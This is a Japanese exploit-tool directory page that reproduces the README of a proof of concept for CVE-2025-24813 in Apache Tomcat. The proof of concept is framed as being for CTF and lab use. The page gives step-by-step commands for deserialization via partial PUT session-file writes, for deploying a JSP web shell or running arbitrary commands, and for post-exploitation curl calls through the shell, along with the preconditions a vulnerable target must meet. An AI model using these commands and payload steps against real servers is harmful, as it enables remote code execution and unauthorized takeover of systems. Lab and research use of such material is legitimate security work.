Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24813 — Java CVEの適切なペイロード | Kitploit
ツール/GitHubGitHub/loufa0/cve-2025-24813
脆弱性スキャナーエクスプロイトウェブセキュリティCTF学習と教育ラボと実践
GitHubloufa0/cve-2025-24813

CVE-2025-24813

Java CVEの適切なペイロード

リポジトリを見る
522ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-24813 Tomcat PoC

認可されたCTF/ラボ環境向けのPoCです。CVE-2025-24813を、Tomcatセッションファイルへの部分的なPUT書き込みを介して悪用し、JSESSIONIDでデシリアライゼーションをトリガーします。

前提条件

  • Python 3
  • Pythonモジュールrequests
  • Java JDK(javaとjavac)
  • このフォルダに配置された同梱ファイルcommons-collections-3.2.1.jar

ysoserialは不要です。

ファイル

  • poc_cve_2025_24813.py: 生成、アップロード、トリガーを自動化するPythonラッパー。
  • GenerateTomcatSessionPayload.java: ガジェットを含む有効なTomcatセッションを生成します。
CommonsCollections
  • commons-collections-3.2.1.jar: ガジェットの依存関係。
  • sh.jsp: --drop-shellでデプロイされるオプションのJSPシェル。
  • 使用方法

    デフォルトのWebルート/opt/tomcat/webapps/ROOTにJSPシェルを配置します:

    root@kitploit:~
    ./poc_cve_2025_24813.py http://TARGET:8080 \
      --session-id poc24813 \
      --drop-shell \
      --shell-name sh.jsp
    

    シェルを配置せずに直接コマンドを実行する場合:

    root@kitploit:~
    ./poc_cve_2025_24813.py http://TARGET:8080 \
      --session-id cmd24813 \
      --cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
    

    Webルートが異なる場合:

    root@kitploit:~
    ./poc_cve_2025_24813.py http://TARGET:8080 \
      --drop-shell \
      --webroot /path/to/webroot \
      --shell-name sh.jsp
    

    JARを移動した場合は、そのパスを指定します:

    root@kitploit:~
    ./poc_cve_2025_24813.py http://TARGET:8080 \
      --jar /path/to/commons-collections-3.2.1.jar \
      --drop-shell
    

    エクスプロイト後

    --drop-shellが成功した場合:

    root@kitploit:~
    curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
    curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
    

    ターゲット側の条件

    • 脆弱なTomcatバージョン。
    • DefaultServletが書き込み可能(典型的にはreadonly=false)。
    • 部分PUTのサポート。
    • PersistentManagerとFileStoreによる永続セッション。
    • サーバー側で利用可能なガジェットチェーン(ここではcommons-collections)。

    アップロード時に期待される動作は、多くの場合HTTP 409 Conflictです:

    root@kitploit:~
    PUT /<session-id>/session
    Content-Range: bytes 0-1000/1200
    

    その後、以下でデシリアライゼーションがトリガーされます:

    root@kitploit:~
    Cookie: JSESSIONID=.<session-id>
    
    ツールをダウンロード